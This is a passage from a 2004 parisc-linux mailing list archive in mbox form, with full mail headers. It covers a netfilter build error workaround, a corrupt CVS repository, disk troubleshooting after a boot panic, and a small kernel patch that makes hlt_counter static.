> -mfast-indirect-calls -ffunction-sections -march=3D2.0 -mschedule=3D800=
0 -Wdeclaration-after-statement
>   -DMODULE -DKBUILD_BASENAME=3Dipt_hashlimit -DKBUILD_MODNAME=3Dipt_has=
hlimit
> -c -o net/ipv4/netfilter/ipt_hashlimit.o net/ipv4/netfilter/ipt_hashlim=
it.c
> net/ipv4/netfilter/ipt_hashlimit.c: In function `__dsthash_find':
> net/ipv4/netfilter/ipt_hashlimit.c:124: structure has no member named
`locked_by'
> net/ipv4/netfilter/ipt_hashlimit.c: In function `__dsthash_free':
[...]
> net/ipv4/netfilter/ipt_hashlimit.c:606: structure has no member named
`locked_by'
> net/ipv4/netfilter/ipt_hashlimit.c:606: structure has no member named
`locked_by'
> net/ipv4/netfilter/ipt_hashlimit.c:606: structure has no member named
`l'
> make[3]: *** [net/ipv4/netfilter/ipt_hashlimit.o] Error 1
> make[2]: *** [net/ipv4/netfilter] Error 2
> make[1]: *** [net/ipv4] Error 2
> make: *** [net] Error 2
> 
The work around is:
<http://www.spinics.net/lists/kernel/msg309637.html>

(i.e. "Disable NETFILTER_DEBUG for now.")

Hth,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] repo corrupt again
Date: Tue, 16 Nov 2004 03:42:04 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20041116034204.GF26623@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624506 26462 80.91.229.3 (22 Nov 2014 02:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31009 invoked by uid 65534); 16 Nov 2004 03:42:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 16 Nov 2004 04:42:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 620EC3BE52; Mon, 15 Nov 2004 20:42:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05907-08; Mon, 15 Nov 2004 20:42:43 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 533CF3BE57; Mon, 15 Nov 2004 20:42:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 277DB3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Nov 2004 20:42:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05907-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Nov 2004 20:42:07 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7A1943BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Nov 2004 20:42:07 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 2508A494062; Mon, 15 Nov 2004 20:42:07 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id C1A45494058
	for <parisc-linux@parisc-linux.org>;
	Mon, 15 Nov 2004 20:42:06 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CTuEG-00018b-AW
	for parisc-linux@parisc-linux.org; Tue, 16 Nov 2004 03:42:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25013


The linux-2.6 archive is corrupt again:

cvs [commit aborted]: EOF in value in RCS file /var/cvs/linux-2.6/arch/m68knommu
/lib/divsi3.S,v

I've renamed linux-2.6 to linux-2.6-corrupt.  It'll need to be fixed.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.10-rc1-pa16 still panic on c110 [WAS: [parisc-linux] c110
	panic when try to boot 2.6.10-rc1-pa11?]
Date: Sun, 21 Nov 2004 14:40:00 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20041121214000.GC1477@colo.lackof.org>
References: <41966398.4070303@tiscali.be> <419FAAF4.4030608@tiscali.be>
	<20041121000403.GF11503@colo.lackof.org>
	<41A0BFD2.4020205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624506 26463 80.91.229.3 (22 Nov 2014 02:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:26 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24540 invoked by uid 65534); 21 Nov 2004 21:40:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 21 Nov 2004 22:40:44 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ADC593BD42; Sun, 21 Nov 2004 14:40:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21219-05; Sun, 21 Nov 2004 14:40:42 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5EF823BE62; Sun, 21 Nov 2004 14:40:09 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75FA63BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Nov 2004 14:40:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21219-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Nov 2004 14:40:03 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 033783BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Nov 2004 14:40:02 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id BB152494073; Sun, 21 Nov 2004 14:40:02 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 85E9B49406D
	for <parisc-linux@parisc-linux.org>;
	Sun, 21 Nov 2004 14:40:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CDB3429805E; Sun, 21 Nov 2004 14:40:00 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01579-06; Sun, 21 Nov 2004 14:40:00 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 30BDD298058; Sun, 21 Nov 2004 14:40:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41A0BFD2.4020205@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25014

On Sun, Nov 21, 2004 at 04:18:26PM +0000, Joel Soete wrote:
> That works far better: no more panic at boot time :))

good. I think the other problems you are have are either real HW problems,
bugs in the driver or bugs in the hard disk firmware.
You can rule out some of the hard disk firmware bugs by checking for
newer versions of the firmware either at HP's site (URL
is in the parisc-linux FAQ) or disk vendor's site.

Real HW might be "fixed" by a "low level format".
See scsiformat in scsitools package.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.10-rc1-pa16 still panic on c110 [WAS: [parisc-linux] c110
	panic when try to boot 2.6.10-rc1-pa11?]
Date: Sat, 27 Nov 2004 18:48:35 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <41A8CC03.7010701@tiscali.be>
References: <41966398.4070303@tiscali.be> <419FAAF4.4030608@tiscali.be>
	<20041121000403.GF11503@colo.lackof.org>
	<41A0BFD2.4020205@tiscali.be>
	<20041121214000.GC1477@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624507 26465 80.91.229.3 (22 Nov 2014 02:48:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:27 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2584 invoked by uid 65534); 27 Nov 2004 18:50:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 27 Nov 2004 19:50:32 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6044F3BDDA; Sat, 27 Nov 2004 11:50:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22578-08; Sat, 27 Nov 2004 11:49:35 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BBAEC3BE2E; Sat, 27 Nov 2004 11:48:47 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C8063BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Nov 2004 11:48:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22275-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Nov 2004 11:48:42 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 859AC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Nov 2004 11:48:41 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 1A661494073; Sat, 27 Nov 2004 11:48:39 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id AAD8C49406D;
	Sat, 27 Nov 2004 11:48:38 -0700 (MST)
Original-Received: from [83.134.227.59] (helo=[83.134.227.59])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CY7ca-0007BI-6k; Sat, 27 Nov 2004 19:48:36 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041121214000.GC1477@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25015

Hello Grant,

Just a short followup:

Grant Grundler wrote:
> On Sun, Nov 21, 2004 at 04:18:26PM +0000, Joel Soete wrote:
> 
>>That works far better: no more panic at boot time :))
> 
> 
> good. I think the other problems you are have are either real HW problems,
I used one of the latest support+ cd I had (hpux 11.0 March 2003) and ODE DISKUTIL (I am not a hp engineer so I can get passwd for 
DISKEXPT, as well as LASIDIAG) (so that I don't have change system) but it doesn't detect any read error :(

> bugs in the driver or bugs in the hard disk firmware.

> You can rule out some of the hard disk firmware bugs by checking for
> newer versions of the firmware either at HP's site (URL
> is in the parisc-linux FAQ) 
Unfortunately I didn't find any fw upgrade available for this 'SEAGATE ST34573W' (presently fw revision HP11) into 
<ftp://us-ffs.external.hp.com/firmware_patches/hp/disk/catalog> and http://itrc.hp.com/ is unavailable right now :(

> or disk vendor's site.
> 
It's a hp disk supply so I would prefer a hp 'patch'

> Real HW might be "fixed" by a "low level format".
> See scsiformat in scsitools package.
> 
I will see as ultimate solution ;)

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 patch] i386/x86_64/parisc process.c: make
	hlt_counter static
Date: Mon, 6 Dec 2004 01:41:39 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20041206004139.GL2953__36099.6159179651$1416624507$gmane$org@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624507 26466 80.91.229.3 (22 Nov 2014 02:48:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:27 +0000 (UTC)
Cc: discuss@x86-64.org,
 parisc-linux@parisc-linux.org,
 ak@suse.de,
 matthew@wil.cx
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24447 invoked by uid 65534); 6 Dec 2004 00:42:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 06 Dec 2004 01:42:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A385D3BE5E; Sun,  5 Dec 2004 17:42:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18986-04; Sun, 5 Dec 2004 17:42:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1B8983BE61; Sun,  5 Dec 2004 17:41:56 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 837443BE5A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Dec 2004 17:41:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18994-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Dec 2004 17:41:48 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DB7E83BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Dec 2004 17:41:47 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 4084E49407A; Sun,  5 Dec 2004 17:41:45 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by palinux.hppa (Postfix) with SMTP id 7DB2A494071
	for <parisc-linux@parisc-linux.org>;
	Sun,  5 Dec 2004 17:41:44 -0700 (MST)
Original-Received: (qmail 3571 invoked from network); 6 Dec 2004 00:41:41 -0000
Original-Received: from r063115.stusta.swh.mhn.de (HELO r063144.stusta.swh.mhn.de)
	(10.150.63.115)
	by mailout.stusta.mhn.de with SMTP; 6 Dec 2004 00:41:41 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 95740BB5B2; Mon,  6 Dec 2004 01:41:39 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25016

The patch below makes a needlessly global variable static.


diffstat output:
 arch/i386/kernel/process.c   |    2 +-
 arch/parisc/kernel/process.c |    2 +-
 arch/x86_64/kernel/process.c |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)


Signed-off-by: Adrian Bunk <bunk@stusta.de>

--- linux-2.6.10-rc2-mm4-full/arch/i386/kernel/process.c.old	2004-12-06 01:25:27.000000000 +0100
+++ linux-2.6.10-rc2-mm4-full/arch/i386/kernel/process.c	2004-12-06 01:25:38.000000000 +0100
@@ -60,7 +60,7 @@
 
 asmlinkage void ret_from_fork(void) __asm__("ret_from_fork");
 
-int hlt_counter;
+static int hlt_counter;
 
 unsigned long boot_option_idle_override = 0;
 EXPORT_SYMBOL(boot_option_idle_override);
--- linux-2.6.10-rc2-mm4-full/arch/parisc/kernel/process.c.old	2004-12-06 01:25:55.000000000 +0100
+++ linux-2.6.10-rc2-mm4-full/arch/parisc/kernel/process.c	2004-12-06 01:26:01.000000000 +0100
@@ -54,7 +54,7 @@
 #include <asm/uaccess.h>
 #include <asm/unwind.h>
 
-int hlt_counter;
+static int hlt_counter;
 
 /*
  * Power off function, if any
--- linux-2.6.10-rc2-mm4-full/arch/x86_64/kernel/process.c.old	2004-12-06 01:26:17.000000000 +0100
+++ linux-2.6.10-rc2-mm4-full/arch/x86_64/kernel/process.c	2004-12-06 01:26:28.000000000 +0100
@@ -53,7 +53,7 @@
 
 unsigned long kernel_thread_flags = CLONE_VM | CLONE_UNTRACED;
 
-atomic_t hlt_counter = ATOMIC_INIT(0);
+static atomic_t hlt_counter = ATOMIC_INIT(0);
 
 unsigned long boot_option_idle_override = 0;
 EXPORT_SYMBOL(boot_option_idle_override);

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFT] Remove {,un}mask_irq()
Date: Mon, 6 Dec 2004 04:10:14 +0000
Lines: 367
Approved: news@gmane.org
Message-ID: <20041206041014.GL15450@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624507 26468 80.91.229.3 (22 Nov 2014 02:48:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6479 invoked by uid 65534); 6 Dec 2004 04:11:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 06 Dec 2004 05:11:10 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0AC673BE5D; Sun,  5 Dec 2004 21:11:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20846-06; Sun, 5 Dec 2004 21:10:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EC5143BE53; Sun,  5 Dec 2004 21:10:25 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B852D3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Dec 2004 21:10:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20842-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Dec 2004 21:10:19 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 20BB93BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Dec 2004 21:10:19 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 73D07494071; Sun,  5 Dec 2004 21:10:18 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id B0423494062
	for <parisc-linux@parisc-linux.org>;
	Sun,  5 Dec 2004 21:10:17 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CbACU-0006iA-NJ
	for parisc-linux@parisc-linux.org; Mon, 06 Dec 2004 04:10:15 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
